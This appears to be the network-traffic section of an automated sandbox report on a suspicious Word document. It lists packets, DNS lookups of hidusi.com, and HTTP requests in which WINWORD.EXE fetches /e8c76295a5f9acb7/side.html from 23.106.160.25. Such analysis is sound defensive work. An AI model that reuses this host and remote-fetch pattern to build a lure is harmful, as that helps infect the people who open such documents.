Sep 2, 2021 05:59:48.681837082 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681871891 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681874037 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681910038 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.681911945 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681948900 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681988001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.681993008 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682022095 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682025909 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682059050 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682095051 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682125092 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682132006 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682167053 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682202101 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682235003 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682250023 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682251930 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682272911 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682307959 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682343006 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682378054 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682415009 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682456970 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682495117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682533026 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682569981 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682607889 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682645082 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682650089 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682667971 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682672977 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682677031 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682681084 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682684898 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682684898 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682688951 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682693958 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682698011 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682722092 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682761908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682791948 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682797909 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682828903 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682830095 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682863951 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682898998 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682899952 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682924032 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682929993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682961941 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.682975054 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.682997942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683005095 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683034897 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683037996 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683058023 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683068991 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683100939 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683150053 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683171034 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683182955 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683192015 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683218002 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683233976 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683268070 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683276892 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683305025 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683335066 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683342934 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683377981 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683393002 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683409929 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683413982 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683444023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683466911 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683480024 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683481932 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683494091 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683517933 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683530092 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683553934 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683562040 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683594942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683598042 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683629990 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683640003 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683664083 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683676004 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683701038 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683707952 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683737040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683759928 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683767080 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683778048 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683803082 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683826923 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683837891 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683866024 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.683878899 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683891058 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.683921099 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.693802118 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.693869114 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.693897009 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.693923950 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.693948984 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.693959951 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.693973064 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.693979025 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694000006 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694025993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694027901 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694032907 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694067955 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694081068 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694087029 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694097042 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694113016 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694128036 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694133997 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694160938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694168091 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694190979 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694205046 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694215059 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694231987 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694242001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694267035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694268942 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694286108 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694291115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694312096 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694317102 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694339037 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694343090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694375038 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694377899 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694403887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694428921 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694438934 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694454908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694458961 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694479942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694504023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694511890 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694524050 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694530010 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694531918 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694555044 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694555044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.694574118 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.694603920 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.857597113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857630968 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857641935 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857654095 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857666016 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857687950 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857702971 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857721090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857741117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857764006 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857779980 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.857781887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857804060 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857827902 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857835054 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.857850075 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857872009 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857892990 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857896090 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.857908964 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857918024 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.857922077 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.857924938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857945919 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857961893 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857961893 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.857980013 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.857997894 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858000040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858016014 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858030081 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858031034 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858046055 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858057022 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858061075 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858072996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858083010 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858088017 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858103037 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858119011 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858133078 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858144999 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858160973 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858167887 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858172894 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858184099 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858200073 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858203888 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858211040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858222961 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858237982 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858253002 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858258963 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858263969 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858268023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858283043 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858283043 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858302116 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858318090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858325005 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858330011 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:48.858351946 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:48.858411074 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:49.363332033 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:49.363451004 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:49.363552094 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:49.534854889 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:52.823909998 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:52.824069977 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:59.907692909 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:59.909524918 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:00:00.079793930 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 06:00:00.081532001 CEST	80	49708	23.106.160.25	192.168.2.3
Sep 2, 2021 06:00:00.081687927 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:00:00.082133055 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:00:00.255064964 CEST	80	49708	23.106.160.25	192.168.2.3
Sep 2, 2021 06:00:00.255793095 CEST	80	49708	23.106.160.25	192.168.2.3
Sep 2, 2021 06:00:00.255872965 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:00:05.261212111 CEST	80	49708	23.106.160.25	192.168.2.3
Sep 2, 2021 06:00:05.264458895 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:01:27.019675016 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:01:27.503859997 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:01:28.394598961 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:01:30.160273075 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:01:33.676933050 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:01:40.708082914 CEST	49708	80	192.168.2.3	23.106.160.25
Sep 2, 2021 06:01:54.771792889 CEST	49708	80	192.168.2.3	23.106.160.25

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 2, 2021 05:59:30.136353970 CEST	50620	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:30.170783997 CEST	53	50620	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:37.098774910 CEST	64938	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:37.131557941 CEST	53	64938	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:37.530359983 CEST	60152	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:37.588907003 CEST	53	60152	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:38.557300091 CEST	60152	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:38.593449116 CEST	53	60152	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:39.274230957 CEST	57544	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:39.311825037 CEST	53	57544	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:39.604722023 CEST	60152	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:39.640290022 CEST	53	60152	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:39.819288015 CEST	55984	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:39.869954109 CEST	53	55984	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:40.824089050 CEST	55984	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:40.861282110 CEST	53	55984	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:41.619837046 CEST	60152	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:41.655534029 CEST	53	60152	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:41.823564053 CEST	55984	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:41.860878944 CEST	53	55984	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:43.175990105 CEST	64185	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:43.201072931 CEST	53	64185	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:43.838980913 CEST	55984	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:43.872988939 CEST	53	55984	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:45.651515961 CEST	60152	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:45.687453032 CEST	53	60152	8.8.8.8	192.168.2.3
Sep 2, 2021 05:59:47.886459112 CEST	55984	53	192.168.2.3	8.8.8.8
Sep 2, 2021 05:59:47.914050102 CEST	53	55984	8.8.8.8	192.168.2.3
Sep 2, 2021 06:00:01.191764116 CEST	65110	53	192.168.2.3	8.8.8.8
Sep 2, 2021 06:00:01.235133886 CEST	53	65110	8.8.8.8	192.168.2.3
Sep 2, 2021 06:00:02.912457943 CEST	58361	53	192.168.2.3	8.8.8.8
Sep 2, 2021 06:00:02.946858883 CEST	53	58361	8.8.8.8	192.168.2.3
Sep 2, 2021 06:00:06.662658930 CEST	63492	53	192.168.2.3	8.8.8.8
Sep 2, 2021 06:00:06.706583023 CEST	53	63492	8.8.8.8	192.168.2.3
Sep 2, 2021 06:00:34.336572886 CEST	60831	53	192.168.2.3	8.8.8.8
Sep 2, 2021 06:00:34.372752905 CEST	53	60831	8.8.8.8	192.168.2.3
Sep 2, 2021 06:00:36.151927948 CEST	60100	53	192.168.2.3	8.8.8.8
Sep 2, 2021 06:00:36.187429905 CEST	53	60100	8.8.8.8	192.168.2.3
Sep 2, 2021 06:01:09.036236048 CEST	53195	53	192.168.2.3	8.8.8.8
Sep 2, 2021 06:01:09.084511995 CEST	53	53195	8.8.8.8	192.168.2.3
Sep 2, 2021 06:01:09.911876917 CEST	50141	53	192.168.2.3	8.8.8.8
Sep 2, 2021 06:01:09.955842018 CEST	53	50141	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 2, 2021 05:59:39.274230957 CEST	192.168.2.3	8.8.8.8	0x5138	Standard query (0)	hidusi.com	A (IP address)	IN (0x0001)
Sep 2, 2021 05:59:43.175990105 CEST	192.168.2.3	8.8.8.8	0xa87b	Standard query (0)	hidusi.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 2, 2021 05:59:39.311825037 CEST	8.8.8.8	192.168.2.3	0x5138	No error (0)	hidusi.com		23.106.160.25	A (IP address)	IN (0x0001)
Sep 2, 2021 05:59:43.201072931 CEST	8.8.8.8	192.168.2.3	0xa87b	No error (0)	hidusi.com		23.106.160.25	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

hidusi.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49706	23.106.160.25	80	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Timestamp	kBytes transferred	Direction	Data
Sep 2, 2021 05:59:39.486073971 CEST	1175	OUT	OPTIONS /e8c76295a5f9acb7/ HTTP/1.1 Connection: Keep-Alive Authorization: Bearer User-Agent: Microsoft Office Word 2014 X-Office-Major-Version: 16 X-MS-CookieUri-Requested: t X-FeatureVersion: 1 X-MSGETWEBURL: t X-IDCRL_ACCEPTED: t Host: hidusi.com
Sep 2, 2021 05:59:39.659250975 CEST	1176	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:39 GMT Server: Apache/2.4.41 (Ubuntu) Allow: HEAD,GET,POST,OPTIONS Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: httpd/unix-directory
Sep 2, 2021 05:59:39.740879059 CEST	1176	OUT	HEAD /e8c76295a5f9acb7/side.html HTTP/1.1 Connection: Keep-Alive Authorization: Bearer User-Agent: Microsoft Office Word 2014 X-Office-Major-Version: 16 X-MS-CookieUri-Requested: t X-FeatureVersion: 1 X-IDCRL_ACCEPTED: t Host: hidusi.com
Sep 2, 2021 05:59:39.914613962 CEST	1177	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:06 GMT ETag: "18f1-5caee365a20d1" Accept-Ranges: bytes Content-Length: 6385 Vary: Accept-Encoding Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html
Sep 2, 2021 05:59:42.941920996 CEST	1178	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive Authorization: Bearer User-Agent: Microsoft Office Word 2014 X-Office-Major-Version: 16 X-MS-CookieUri-Requested: t X-FeatureVersion: 1 X-MSGETWEBURL: t X-IDCRL_ACCEPTED: t Host: hidusi.com
Sep 2, 2021 05:59:43.118628979 CEST	1178	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Allow: HEAD,GET,POST,OPTIONS Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html
Sep 2, 2021 05:59:43.962320089 CEST	1183	OUT	OPTIONS /e8c76295a5f9acb7/ HTTP/1.1 Connection: Keep-Alive Authorization: Bearer User-Agent: Microsoft Office Word 2014 X-Office-Major-Version: 16 X-MS-CookieUri-Requested: t X-FeatureVersion: 1 X-MSGETWEBURL: t X-IDCRL_ACCEPTED: t Host: hidusi.com
Sep 2, 2021 05:59:44.134196043 CEST	1183	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Allow: HEAD,GET,POST,OPTIONS Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: httpd/unix-directory
Sep 2, 2021 05:59:44.184863091 CEST	1184	OUT	HEAD /e8c76295a5f9acb7/side.html HTTP/1.1 Connection: Keep-Alive Authorization: Bearer User-Agent: Microsoft Office Word 2014 X-Office-Major-Version: 16 X-MS-CookieUri-Requested: t X-FeatureVersion: 1 X-IDCRL_ACCEPTED: t Host: hidusi.com
